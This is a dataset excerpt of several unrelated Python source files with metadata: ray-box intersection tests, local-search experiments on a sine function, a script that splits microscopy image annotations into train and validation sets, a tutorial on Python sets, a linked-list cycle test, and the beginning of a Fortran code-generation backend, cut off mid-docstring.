self.minPoint)\r\n nptest.assert_array_equal(self.box.maxPoint, self.maxPoint)\r\n \r\n def test_no_intersection_opposite(self):\r\n ''' intersection at negative distance '''\r\n origin = [0, 10, 0]\r\n direction = [0, 1, 0]\r\n test_no_intersection(self.box, origin, direction)\r\n \r\n def test_no_intersection_miss_v0(self):\r\n origin = [0, 10, 0]\r\n direction = [1, 0, 0]\r\n test_no_intersection(self.box, origin, direction)\r\n \r\n def test_no_intersection_miss_v1(self):\r\n origin = [0, 10, 10]\r\n direction = [5, 0, -10]\r\n test_no_intersection(self.box, origin, direction)\r\n \r\n def test_eye_on_box_top_viewing_up(self):\r\n boxTopPoint = self.center\r\n boxTopPoint[1] = self.maxPoint[1]\r\n origin = boxTopPoint\r\n direction = [0, 1, 0]\r\n test_no_intersection(self.box, origin, direction)\r\n \r\n def test_eye_on_box_bottom_viewing_down(self):\r\n boxBottomPoint = self.center\r\n boxBottomPoint[1] = self.minPoint[1]\r\n origin = boxBottomPoint\r\n direction = [0, -1, 0]\r\n test_no_intersection(self.box, origin, direction)\r\n\r\n def test_eye_on_box_right_viewing_right(self):\r\n boxPoint = self.center\r\n boxPoint[0] = self.maxPoint[0]\r\n origin = boxPoint\r\n direction = [1, 0, 0]\r\n test_no_intersection(self.box, origin, direction)\r\n\r\n def test_eye_on_box_left_viewing_left(self):\r\n boxPoint = self.center\r\n boxPoint[0] = self.minPoint[0]\r\n origin = boxPoint\r\n direction = [-1, 0, 0]\r\n test_no_intersection(self.box, origin, direction)\r\n\r\n def test_eye_on_box_front_viewing_front(self):\r\n boxPoint = self.center\r\n boxPoint[2] = self.maxPoint[2]\r\n origin = boxPoint\r\n direction = [0, 0, 1]\r\n test_no_intersection(self.box, origin, direction)\r\n\r\n def test_eye_on_box_back_viewing_back(self):\r\n boxPoint = self.center\r\n boxPoint[2] = self.minPoint[2]\r\n origin = boxPoint\r\n direction = [0, 0, -1]\r\n test_no_intersection(self.box, origin, direction)\r\n\r\n #TODO: test more ray origin on corner\r\n def test_eye_on_corner_viewing_away(self):\r\n origin = [0.5, 0.5, 0.5]\r\n direction = [1, 1, 1]\r\n test_no_intersection(self.box, origin, direction)\r\n \r\n direction = [1, 0, 0]\r\n test_no_intersection(self.box, origin, direction)\r\n \r\n direction = [0, 1, 0]\r\n test_no_intersection(self.box, origin, direction)\r\n \r\n direction = [0, 0, 1]\r\n test_no_intersection(self.box, origin, direction)\r\n \r\nclass TestBoxAtOriginIntersectionWithRay(unittest.TestCase):\r\n ''' \r\n Test basic cases where the ray intersects the box\r\n Note: By eye (in the test_eye_* functions) we refer to the ray origin\r\n '''\r\n def setUp(self):\r\n self.minPoint = np.array([-.5, -.5, -.5])\r\n self.maxPoint = -self.minPoint\r\n self.center = (self.minPoint + self.maxPoint) / 2.\r\n self.box = Box({'min': self.minPoint, 'max': self.maxPoint})\r\n #print('center', self.center)\r\n \r\n def test_box_creation(self):\r\n ''' sanity check '''\r\n nptest.assert_array_equal(self.box.minPoint, self.minPoint)\r\n nptest.assert_array_equal(self.box.maxPoint, self.maxPoint)\r\n \r\n def test_ray_intersection_top(self):\r\n ''' intersection at the top of the box '''\r\n origin = [0, 10, 0]\r\n direction = [0, -1, 0]\r\n test_intersection_with_result(self.box, origin, direction, \r\n isect_pt = [0, 0.5, 0], \r\n isect_normal = [0, 1., 0], \r\n isect_dist = 9.5)\r\n \r\n def test_ray_intersection_bottom(self):\r\n ''' intersection at the bottom of the box '''\r\n origin = [0, -10, 0]\r\n direction = [0, 1, 0]\r\n test_intersection_with_result(self.box, origin, direction, \r\n isect_pt = [0, -0.5, 0], \r\n isect_normal = [0, -1., 0], \r\n isect_dist = 9.5)\r\n \r\n def test_ray_intersection_right(self):\r\n origin = [10, 0, 0]\r\n direction = [-1, 0, 0]\r\n test_intersection_with_result(self.box, origin, direction, \r\n isect_pt = [0.5, 0, 0], \r\n isect_normal = [1, 0., 0], \r\n isect_dist = 9.5)\r\n\r\n def test_ray_intersection_left(self):\r\n origin = [-10, 0, 0]\r\n direction = [1, 0, 0]\r\n test_intersection_with_result(self.box, origin, direction, \r\n isect_pt = [-0.5, 0, 0], \r\n isect_normal = [-1, 0, 0], \r\n isect_dist = 9.5)\r\n \r\n def test_ray_intersection_front(self):\r\n origin = [0, 0, 10]\r\n direction = [0, 0, -1]\r\n test_intersection_with_result(self.box, origin, direction, \r\n isect_pt = [0, 0, 0.5], \r\n isect_normal = [0, 0, 1], \r\n isect_dist = 9.5)\r\n\r\n def test_ray_intersection_back(self):\r\n origin = [0, 0, -10]\r\n direction = [0, 0, 1]\r\n test_intersection_with_result(self.box, origin, direction, \r\n isect_pt = [0, 0, -0.5], \r\n isect_normal = [0, 0, -1], \r\n isect_dist = 9.5)\r\n\r\n def test_ray_intersection_to_corner_maxpt(self):\r\n origin = [10, 10, 10]\r\n direction = [-1, -1, -1]\r\n expected_pt = [0.5, 0.5, 0.5]\r\n expected_normal = None\r\n expected_dist = 10 * np.sqrt(3) - np.linalg.norm(expected_pt)\r\n test_intersection_with_result(self.box, origin, direction, \r\n isect_pt = expected_pt, \r\n isect_normal = expected_normal, \r\n isect_dist = expected_dist)\r\n \r\n# def test_ray_intersection_from_corner_maxpt(self):\r\n# '''ray originates at one corner and goes inside '''\r\n# origin = self.maxPoint\r\n# direction = [-1, -1, -1]\r\n# expected_pt = self.minPoint\r\n# expected_normal = None\r\n# expected_dist = np.sqrt(3)\r\n# test_intersection_with_result(self.box, origin, direction, \r\n# isect_pt = expected_pt, \r\n# isect_normal = expected_normal, \r\n# isect_dist = expected_dist)\r\n#\r\n# def test_ray_on_front_plane_to_back(self):\r\n# origin = [0, 0, 0.5]\r\n# direction = [0, 0, -1]\r\n# expected_pt = [0, 0, -0.5]\r\n# expected_normal = [0, 0, -1]\r\n# expected_dist = 1\r\n# test_intersection_with_result(self.box, origin, direction, \r\n# isect_pt = expected_pt, \r\n# isect_normal = expected_normal, \r\n# isect_dist = expected_dist)\r\n \r\ndef main(): # to make it easier to import this file and run the tests\r\n unittest.main()\r\n \r\nif __name__ == '__main__':\r\n main()","sub_path":"asses/557/3/Daniel Pham 260526252/TestBoxIntersection.py","file_name":"TestBoxIntersection.py","file_ext":"py","file_size_in_byte":8689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"328181110","text":"\"\"\"\nThis module implements local search on a sine abs function variant.\nThe function is a nonlinear function with a single, discontinuous max value\n(see the abs function variant in graphs.py).\n\n@author: kvlinden\n@version 6feb2013\n\"\"\"\nfrom tools.aima.search import Problem, hill_climbing, simulated_annealing, \\\n exp_schedule, genetic_search\nfrom random import randrange\nimport math\nimport time # comparing performance of different optimization algorithms\n\n\nclass SineVariant(Problem):\n \"\"\"\n State: x value for the sine abs function variant f(x) = abs(x * sin(x))\n Move: a new x value delta steps from the current x (in both directions)\n \"\"\"\n\n def __init__(self, initial, maximum=30.0, delta=0.001):\n self.initial = initial\n self.maximum = maximum\n self.delta = delta\n\n def actions(self, state):\n return [state + self.delta, state - self.delta]\n\n def result(self, stateIgnored, x):\n return x\n\n def value(self, x):\n return math.fabs(x * math.sin(x))\n\n\nif __name__ == '__main__':\n # Formulate a problem with a 2D hill function and a single maximum value.\n maximum = 30\n numGuesses = 10\n initialGuesses = []\n for i in range(0,numGuesses):\n initialGuesses.append(randrange(0,maximum))\n # initial = randrange(0, maximum)\n problems = []\n for i in range(0, numGuesses):\n problems.append(SineVariant(initialGuesses[i], maximum, delta=1.0))\n # p = SineVariant(initial, maximum, delta=1.0)\n # print('Initial x: ' + str(p.initial)\n # + '\\t\\tvalue: ' + str(p.value(initial))\n # )\n\n # Solve the problem using hill-climbing.\n hill_soln_storage = []\n hill_time_storage = []\n hill_values_storage = []\n for i in range(0, numGuesses):\n start = time.time()\n soln = hill_climbing(problems[i])\n hill_soln_storage.append(soln)\n end = time.time()\n hill_time_storage.append(end - start)\n hill_values_storage.append(problems[i].value(soln))\n this_soln = max(hill_soln_storage)\n index = hill_soln_storage.index(this_soln)\n this_time = hill_time_storage[index]\n\n # start = time.time()\n # hill_solution = hill_climbing(p)\n # end = time.time()\n print('Initial x: ' + str(initialGuesses[index])\n + '\\t\\tvalue: ' + str(problems[index].value(initialGuesses[index]))\n )\n print('Hill-climbing solution x: ' + str(this_soln)\n + '\\tvalue: ' + str(hill_values_storage[index])\n + '\\ttime: ' + str(this_time)\n )\n print('Average hill-climbing value: ' + str(sum(hill_values_storage)/len(hill_values_storage)))\n\n\n # Solve the problem using simulated annealing.\n annealing_soln_storage = []\n annealing_time_storage = []\n annealing_values_storage = []\n for i in range(0, numGuesses):\n start = time.time()\n soln = simulated_annealing(problems[i],\n exp_schedule(k=20, lam=0.005, limit=1000))\n annealing_soln_storage.append(soln)\n end = time.time()\n annealing_time_storage.append(end - start)\n annealing_values_storage.append(problems[i].value(soln))\n this_soln = max(annealing_soln_storage)\n index = annealing_soln_storage.index(this_soln)\n this_time = annealing_time_storage[index]\n # start = time.time()\n # annealing_solution = simulated_annealing(\n # p,\n # exp_schedule(k=20, lam=0.005, limit=1000)\n # )\n # end = time.time()\n # print('Simulated annealing solution x: ' + str(annealing_solution)\n # + '\\tvalue: ' + str(p.value(annealing_solution))\n # + '\\ttime: ' + str(end - start)\n # )\n print('\\nInitial x: ' + str(initialGuesses[index])\n + '\\t\\tvalue: ' + str(problems[index].value(initialGuesses[index]))\n )\n print('Simulated annealing solution x: ' + str(this_soln)\n + '\\tvalue: ' + str(annealing_values_storage[index])\n + '\\ttime: ' + str(this_time)\n )\n print('Average annealing value: ' + str(sum(annealing_values_storage) / len(annealing_values_storage)))\n print('\\nSingle run:')\n print('Initial x: ' + str(initialGuesses[0])\n + '\\t\\tvalue: ' + str(problems[0].value(initialGuesses[0]))\n )\n print('Hill-climbing solution x: ' + str(hill_soln_storage[0])\n + '\\tvalue: ' + str(hill_values_storage[0])\n + '\\ttime: ' + str(hill_time_storage[0])\n )\n print('Simulated annealing solution x: ' + str(annealing_soln_storage[0])\n + '\\tvalue: ' + str(annealing_values_storage[0])\n + '\\ttime: ' + str(annealing_time_storage[0])\n )\n","sub_path":"lab02/sine.py","file_name":"sine.py","file_ext":"py","file_size_in_byte":4735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"594833014","text":"\"\"\" Split data in below .txt files train and val categories data and create csvs containing their metadata\n\"\"\"\nimport argparse\nimport glob\nimport math\nimport numpy as np\nimport os\nimport natsort\nimport random\nimport itertools\nfrom skimage import io\nimport pandas as pd\n\n\"\"\" Split data in below .txt files train and val categories data and create csvs containing their metadata\nInputs are\n* `bb_label_txt_file` Full path to comma separated txt file with image_path,x1,y1,x2,y2,class_name\n\nClone the repo https://github.com/czbiohub/imaging_utils\nChange directory and add path cd imaging_utils; export PYTHONPATH=$(pwd):$PYTHONPATH\nRun from imagej folder inside imaging_utils to get the bounding\nboxes and labels combined txt file, and overlays\n`python3.6 imagej/cli/overlay_rois.py --im_dir /Users/pranathivemuri/Documents/uv_microscopy_data/UVM-2019-06-28-16-01-18/Refocused\\ Raw\\ Images/ --bounding_boxes_txt_file /Users/pranathivemuri/Documents/uv_microscopy_data/UVM-2019-06-28-16-01-18/bounding_boxes.txt --labels_txt_file /Users/pranathivemuri/Documents/uv_microscopy_data/UVM-2019-06-28-16-01-18/labels.txt --output_dir /Users/pranathivemuri/Documents/uv_microscopy_data/UVM-2019-06-28-16-01-18/Annotations_overlaid/`\n\nUse that as an input to split_train_val.py to split the dataset\n\n`python3.6 imagej/cli/split_train_val.py --bb_labels_txt_file /Users/pranathivemuri/Documents/uv_microscopy_data/UVM-2019-06-28-16-01-18/annotated_bounding_boxes.txt --output_dir /Users/pranathivemuri/Documents/uv_microscopy_data/UVM-2019-06-28-16-01-18/lumi_csv/`\n\nUsing the so generated text file, split data into a folder containing folders with images, csvs asfollows::\n\n ├── train\n │   ├── image_1.jpg\n │   ├── image_2.jpg\n │   └── image_3.jpg\n ├── val\n │   ├── image_4.jpg\n │   ├── image_5.jpg\n │   └── image_6.jpg\n ���── train.csv\n └── val.csv\n\n The CSV file itself must have the following format::\n\n image_id,xmin,ymin,xmax,ymax,label\n image_1.jpg,26,594,86,617,cat\n image_1.jpg,599,528,612,541,car\n image_2.jpg,393,477,430,552,dog\n\n\"\"\"\nCLASS_LABELS = [\"normal\", \"ring\", \"schizont\", \"troph\"]\nLUMI_CSV_COLUMNS = ['image_id', 'xmin', 'xmax', 'ymin', 'ymax', 'label']\n\n\ndef get_lumi_csv_df(bb_labels, images, output_image_format):\n \"\"\"\n Filters out the list of images given from bb_labels and\n formats it to a csv dataformat required by luminoth\n\n :param str bb_labels: Dataframe with image_path,x1,y1,x2,y2,class_name\n :param list images: List of images to filter by\n :return pandas.DataFrame Filters out the list of images given from bb_labels\n and formats it to a csv dataformat required by luminoth\n \"\"\"\n df = pd.DataFrame(columns=LUMI_CSV_COLUMNS)\n # Find boxes in each image and put them in a dataframe\n for img_name in images:\n # Filter out the df for all the bounding boxes in one image\n basename = os.path.basename(img_name).replace(output_image_format, \"\")\n tmp_df = bb_labels[bb_labels.base_path == basename]\n # Add all the bounding boxes for the images to the dataframe\n for index, row in tmp_df.iterrows():\n label_name = row['class_name']\n df = df.append({'image_id': img_name,\n 'xmin': row['x1'],\n 'xmax': row['x2'],\n 'ymin': row['y1'],\n 'ymax': row['y2'],\n 'label': label_name},\n ignore_index=True)\n return df\n\n\ndef split_data_to_train_val(\n bb_label_txt_file,\n output_dir,\n random_seed,\n split_percent,\n filter_dense_anns,\n input_image_format,\n output_image_format):\n \"\"\"\n Writes to output_dir two folders train, val and two csv files train.csv, val.csv\n\n :param str bb_label_txt_file: Full path to comma separated txt file with image_path,x1,y1,x2,y2,class_name\n :param str output_dir: Full path to save the train, val folders and their csv files\n :param str random_seed: Randomize the images so no two continuos slices go to the train or validation directory\n :param float split_percent: Training and validation split\n :param bool filter_dense_anns: It is assumed that an image consists of one densely annotated class and sparsely\n annotated other class labels. So, images with just dense classes are filtered out\n :param str input_image_format: raw image data format\n :param float output_image_format: lumi output image format, lumi currently accepts only jpg\n \"\"\"\n random.seed(random_seed)\n # Add base_path column to filter into training and validation images later\n bb_labels = pd.read_csv(bb_label_txt_file)\n base_names = [os.path.basename(row.image_path).replace(input_image_format, \"\") for index, row in bb_labels.iterrows()]\n bb_labels[\"base_path\"] = pd.Series(base_names)\n\n # Print meta for each class in CLASS_LABELS\n image_ids_classes = {}\n for class_name in CLASS_LABELS:\n\n # This dict collects all the unique images of a class\n filtered_df = bb_labels[bb_labels['class_name'] == class_name]\n print('There are {} {} classes in the dataset'.format(len(filtered_df), class_name))\n image_ids_classes[class_name] = np.unique(filtered_df['image_path'])\n\n # Balancing class count by\n # taking into account only the images with classes that are sparsely present, these images are\n # expected to contain the other class that has lots of annotations\n if filter_dense_anns:\n max_class_count = max([len(value) for key, value in image_ids_classes.items()])\n max_class_count_name = [key for key, value in image_ids_classes.items() if len(value) == max_class_count][0]\n image_ids_classes.pop(max_class_count_name)\n\n # Get unique images that contains desired classes\n all_imgs = list(set(itertools.chain.from_iterable([value for key, value in image_ids_classes.items()])))\n all_imgs = natsort.natsorted(all_imgs)\n random.shuffle(all_imgs)\n\n # Prepare dataset format for faster rcnn code\n # (fname_path, xmin, xmax, ymin, ymax, class_name)\n # train: 0.8\n # validation: 0.2\n\n # Save images to train and val directory\n train_path = os.path.join(output_dir, 'train')\n os.makedirs(train_path, exist_ok=True)\n val_path = os.path.join(output_dir, 'val')\n os.makedirs(val_path, exist_ok=True)\n\n training_image_index = math.floor(split_percent * len(all_imgs))\n\n train_imgs = all_imgs[:training_image_index]\n val_imgs = all_imgs[training_image_index:]\n\n # Save each classes' images to train directory as jpgs\n for original_path in train_imgs:\n new_path = os.path.join(train_path, os.path.basename(original_path))\n new_path = new_path.replace(input_image_format, output_image_format)\n io.imsave(new_path, io.imread(original_path))\n\n # Save each classes' images to val directory as jpgs\n for original_path in val_imgs:\n new_path = os.path.join(val_path, os.path.basename(original_path))\n new_path = new_path.replace(input_image_format, output_image_format)\n io.imsave(new_path, io.imread(original_path))\n\n train_images = natsort.natsorted(glob.glob(os.path.join(train_path, \"*\" + output_image_format)))\n val_images = natsort.natsorted(glob.glob(os.path.join(val_path, \"*.\" + output_image_format)))\n print('number of training images: ', len(train_images))\n print('number of validation images: ', len(val_images))\n\n # create metadata dataframes for training and validation images\n train_df = get_lumi_csv_df(bb_labels, train_images, output_image_format)\n val_df = get_lumi_csv_df(bb_labels, val_images, output_image_format)\n\n # Save the csvs\n train_df.to_csv(os.path.join(output_dir, 'train.csv'))\n val_df.to_csv(os.path.join(output_dir, 'val.csv'))\n\n\ndef main():\n parser = argparse.ArgumentParser(\n description=\"Split and arrange images into 2 folders for grayscale jpgs for train, and validation,\" +\n \"save bounding boxes for the corresponding images in train.csv and val.csv\")\n parser.add_argument(\n \"--bb_labels_txt_file\",\n help=\"Absolute path to the bounding boxes txt file\", required=True, type=str)\n parser.add_argument(\n \"--percentage\",\n help=\"Percentage of images to split into training folder, rest of the images are equally divided to validation\",\n required=False, type=float, default=0.9)\n parser.add_argument(\n \"--random_seed\",\n help=\"Random seed to split data into training, validation images\",\n required=False, type=int, default=43)\n parser.add_argument(\n \"--filter_dense_anns\",\n help=\"Filter out images with only the dense class annotations\",\n required=False, action='store_true')\n parser.add_argument(\n \"--output_dir\",\n help=\"Absolute path to folder containing train, validation and their annotations in csv file\",\n required=True, type=str)\n parser.add_argument(\n \"--input_image_format\",\n help=\"input image data format\",\n required=False, type=str, default=\".tif\")\n parser.add_argument(\n \"--output_image_format\",\n help=\"output image data format\",\n required=True, type=str, default=\".jpg\")\n\n args = parser.parse_args()\n random_seed = args.random_seed\n output_dir = args.output_dir\n split_percent = args.percentage\n bb_label_txt_file = args.bb_labels_txt_file\n filter_dense_anns = True if args.filter_dense_anns else False\n input_image_format = args.input_image_format\n output_image_format = args.output_image_format\n\n assert split_percent < 1.0\n\n split_data_to_train_val(\n bb_label_txt_file,\n output_dir,\n random_seed,\n split_percent,\n filter_dense_anns,\n input_image_format,\n output_image_format)\n\n print(\"Formatted lumi csv folder at {}\".format(output_dir))\n\nif __name__ == '__main__':\n main()\n","sub_path":"imagej/cli/split_train_val.py","file_name":"split_train_val.py","file_ext":"py","file_size_in_byte":10106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"493360023","text":"conjunto = {1,2,3,4,5}\nconjunto2 = {5,6,7,8}\nconjunto_uniao = conjunto.union(conjunto2)\nprint(conjunto_uniao)\nconjunto_interseccao = conjunto.intersection(conjunto2)\nprint(conjunto_interseccao)\nconjunto_diferenca = conjunto.difference(conjunto2)\nprint(conjunto_diferenca)\n#dif simetrica = tudo que tem num conjunto mas no outro nao tem\nconjunto_diff_simetrica = conjunto.symmetric_difference(conjunto2)\nprint('diferença simetrica: {}'.format(conjunto_diff_simetrica))\n\nconjunto_a = {1,2,3}\nconjunto_b = {1,2,3,4,5,6,7}\nconjunto_subset = conjunto_a.issubset(conjunto_b)\nprint('A é um subconjunto de B: {}'.format(conjunto_subset))\nconjunto_superset = conjunto_b.issuperset(conjunto_a)\nprint('B é um superconjunto de A: {}'.format(conjunto_superset))\n\nlista = ['cachorro', 'cachorro', 'gato', 'gato', 'elefante']\nconjunto_animais = set(lista)\nprint(conjunto_animais)\nlista_animais = list(conjunto_animais)\nprint(lista_animais)\n\nconjunto_c = {10,20,30,40,50}\nconjunto_c.discard(40)\nprint(conjunto_c)\n\n# conjunto = {1, 5, 7,7, 9}\n# print(type(conjunto))\n# conjunto.add(6)\n# conjunto.discard(7) #retira o elemento do conjunto\n# print(conjunto)\n","sub_path":"0 - CURSOS/10 - Introdução à programação com Python/aula6.py","file_name":"aula6.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"96058734","text":"from unittest import TestCase\nfrom leetcodesupport import *\nfrom solution import Solution\nfrom listnode import ListNode\n\nclass TestSolution(TestCase):\n\n def setUp(self) -> None:\n self.solution = Solution()\n\n def make_linked_list_cycle(self, linked_list, position):\n if not linked_list or position == -1:\n return linked_list\n head = ListNode(None)\n head.next = linked_list\n current_node = head.next\n target_node = None\n last_node = None\n index = 0\n while current_node:\n if index == position:\n target_node = current_node\n last_node = current_node\n current_node = current_node.next\n index += 1\n if target_node:\n last_node.next = target_node\n return head.next\n\n def get_detect_cycle_result(self, list_node_string, position):\n linked_list = string_to_list_node(list_node_string)\n linked_list = self.make_linked_list_cycle(linked_list, position)\n list_node = self.solution.detectCycle(linked_list)\n if list_node:\n list_node = ListNode(list_node.val)\n return list_node_to_string(list_node)\n\n def test_detectCycle_is_empty_linked_list(self):\n list_node_string = \"[]\"\n position = -1\n expectation = \"[]\"\n result = self.get_detect_cycle_result(list_node_string, position)\n self.assertEqual(expectation, result)\n\n def test_detectCycle_is_not_cycle_linked_list(self):\n list_node_string = \"[1]\"\n position = -1\n expectation = \"[]\"\n result = self.get_detect_cycle_result(list_node_string, position)\n self.assertEqual(expectation, result)\n\n def test_detectCycle_is_pure_cycle_linked_list(self):\n list_node_string = \"[1, 2]\"\n position = 0\n expectation = \"[1]\"\n result = self.get_detect_cycle_result(list_node_string, position)\n self.assertEqual(expectation, result)\n\n def test_detectCycle_is_not_pure_cycle_linked_list(self):\n list_node_string = \"[3, 2, 0, -4]\"\n position = 1\n expectation = \"[2]\"\n result = self.get_detect_cycle_result(list_node_string, position)\n self.assertEqual(expectation, result)\n\n\n","sub_path":"142. Linked List Cycle II/test_solution.py","file_name":"test_solution.py","file_ext":"py","file_size_in_byte":2252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"642870139","text":"# -----------------------------------------------------------------------------\n# BSD 3-Clause License\n#\n# Copyright (c) 2019-2021, Science and Technology Facilities Council\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# * Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# * Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# * Neither the name of the copyright holder nor the names of its\n# contributors may be used to endorse or promote products derived from\n# this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n# -----------------------------------------------------------------------------\n# Authors R. W. Ford and S. Siso, STFC Daresbury Lab.\n# Modified J. Henrichs, Bureau of Meteorology\n# Modified A. R. Porter, STFC Daresbury Lab.\n# Modified A. B. G. Chalk, STFC Daresbury Lab.\n\n'''Fortran PSyIR backend. Generates Fortran code from PSyIR\nnodes. Currently limited to PSyIR Kernel and NemoInvoke schedules as\nPSy-layer PSyIR already has a gen() method to generate Fortran.\n\n'''\n\n# pylint: disable=too-many-lines\nfrom __future__ import absolute_import\nimport six\n\nfrom fparser.two import Fortran2003\n\nfrom psyclone.errors import InternalError\nfrom psyclone.psyir.backend.language_writer import LanguageWriter\nfrom psyclone.psyir.backend.visitor import VisitorError\nfrom psyclone.psyir.frontend.fparser2 import Fparser2Reader, \\\n TYPE_MAP_FROM_FORTRAN\nfrom psyclone.psyir.nodes import BinaryOperation, CodeBlock, DataNode, \\\n Literal, Operation, Range, Routine, Schedule, UnaryOperation\nfrom psyclone.psyir.symbols import ArgumentInterface, ArrayType, \\\n ContainerSymbol, DataSymbol, DataTypeSymbol, RoutineSymbol, ScalarType, \\\n Symbol, SymbolTable, UnknownFortranType, UnknownType, UnresolvedInterface\n\n# The list of Fortran instrinsic functions that we know about (and can\n# therefore distinguish from array accesses). These are taken from\n# fparser.\nFORTRAN_INTRINSICS = Fortran2003.Intrinsic_Name.function_names\n\n# Mapping from PSyIR types to Fortran data types. Simply reverse the\n# map from the frontend, removing the special case of \"double\n# precision\", which is captured as a REAL intrinsic in the PSyIR.\nTYPE_MAP_TO_FORTRAN = {}\nfor key, item in TYPE_MAP_FROM_FORTRAN.items():\n if key != \"double precision\":\n TYPE_MAP_TO_FORTRAN[item] = key\n\n\ndef gen_intent(symbol):\n '''Given a DataSymbol instance as input, determine the Fortran intent that\n the DataSymbol should have and return the value as a string.\n\n :param symbol: the symbol instance.\n :type symbol: :py:class:`psyclone.psyir.symbols.DataSymbol`\n\n :returns: the Fortran intent of the symbol instance in lower case, \\\n or None if the access is unknown or if this is a local variable.\n :rtype: str or NoneType\n\n '''\n mapping = {ArgumentInterface.Access.UNKNOWN: None,\n ArgumentInterface.Access.READ: \"in\",\n ArgumentInterface.Access.WRITE: \"out\",\n ArgumentInterface.Access.READWRITE: \"inout\"}\n\n if symbol.is_argument:\n try:\n return mapping[symbol.interface.access]\n except KeyError as excinfo:\n raise six.raise_from(\n VisitorError(\"Unsupported access '{0}' found.\"\n \"\".format(str(excinfo))), excinfo)\n else:\n return None # non-Arguments do not have intent\n\n\ndef gen_datatype(datatype, name):\n '''Given a DataType instance as input, return the Fortran datatype\n of the symbol including any specific precision properties.\n\n :param datatype: the DataType or DataTypeSymbol describing the type of \\\n the declaration.\n :type datatype: :py:class:`psyclone.psyir.symbols.DataType` or \\\n :py:class:`psyclone.psyir.symbols.DataTypeSymbol`\n :param str name: the name of the symbol being declared (only used for \\\n error messages).\n\n :returns: the Fortran representation of the symbol's datatype \\\n including any precision properties.\n :rtype: str\n\n :raises NotImplementedError: if the symbol has an unsupported \\\n datatype.\n :raises VisitorError: if the symbol specifies explicit precision \\\n and this is not supported for the datatype.\n :raises VisitorError: if the size of the explicit precision is not \\\n supported for the datatype.\n :raises VisitorError: if the size of the symbol is specified by \\\n another variable and the datatype is not one that supports the \\\n Fortran KIND option.\n :raises NotImplementedError: if the type of the precision object \\\n is an unsupported type.\n\n '''\n if isinstance(datatype, DataTypeSymbol):\n # Symbol is of derived type\n return \"type({0})\".format(datatype.name)\n\n if (isinstance(datatype, ArrayType) and\n isinstance(datatype.intrinsic, DataTypeSymbol)):\n # Symbol is an array of derived types\n return \"type({0})\".format(datatype.intrinsic.name)\n\n try:\n fortrantype = TYPE_MAP_TO_FORTRAN[datatype.intrinsic]\n except KeyError as error:\n raise six.raise_from(NotImplementedError(\n \"Unsupported datatype '{0}' for symbol '{1}' found in \"\n \"gen_datatype().\".format(datatype.intrinsic, name)), error)\n\n precision = datatype.precision\n\n if isinstance(precision, int):\n if fortrantype not in ['real', 'integer', 'logical']:\n raise VisitorError(\"Explicit precision not supported for datatype \"\n \"'{0}' in symbol '{1}' in Fortran backend.\"\n \"\".format(fortrantype, name))\n if fortrantype == 'real' and precision not in [4, 8, 16]:\n raise VisitorError(\n \"Datatype 'real' in symbol '{0}' supports fixed precision of \"\n \"[4, 8, 16] but found '{1}'.\".format(name, precision))\n if fortrantype in ['integer', 'logical'] and precision not in \\\n [1, 2, 4, 8, 16]:\n raise VisitorError(\n \"Datatype '{0}' in symbol '{1}' supports fixed precision of \"\n \"[1, 2, 4, 8, 16] but found '{2}'.\"\n \"\".format(fortrantype, name, precision))\n # Precision has an an explicit size. Use the \"type*size\" Fortran\n # extension for simplicity. We could have used\n # type(kind=selected_int|real_kind(size)) or, for Fortran 2008,\n # ISO_FORTRAN_ENV; type(type64) :: MyType.\n return \"{0}*{1}\".format(fortrantype, precision)\n\n if isinstance(precision, ScalarType.Precision):\n # The precision information is not absolute so is either\n # machine specific or is specified via the compiler. Fortran\n # only distinguishes relative precision for single and double\n # precision reals.\n if fortrantype.lower() == \"real\" and \\\n precision == ScalarType.Precision.DOUBLE:\n return \"double precision\"\n # This logging warning can be added when issue #11 is\n # addressed.\n # import logging\n # logging.warning(\n # \"Fortran does not support relative precision for the '%s' \"\n # \"datatype but '%s' was specified for variable '%s'.\",\n # datatype, str(symbol.precision), symbol.name)\n return fortrantype\n\n if isinstance(precision, DataSymbol):\n if fortrantype not in [\"real\", \"integer\", \"logical\"]:\n raise VisitorError(\n \"kind not supported for datatype '{0}' in symbol '{1}' in \"\n \"Fortran backend.\".format(fortrantype, name))\n # The precision information is provided by a parameter, so use KIND.\n return \"{0}(kind={1})\".format(fortrantype, precision.name)\n\n raise VisitorError(\n \"Unsupported precision type '{0}' found for symbol '{1}' in Fortran \"\n \"backend.\".format(type(precision).__name__, name))\n\n\ndef _reverse_map(op_map):\n '''\n Reverses the supplied fortran2psyir mapping to make a psyir2fortran\n mapping.\n\n :param op_map: mapping from string representation of operator to \\\n enumerated type.\n :type op_map: :py:class:`collections.OrderedDict`\n\n :returns: a mapping from PSyIR operation to the equivalent Fortran string.\n :rtype: 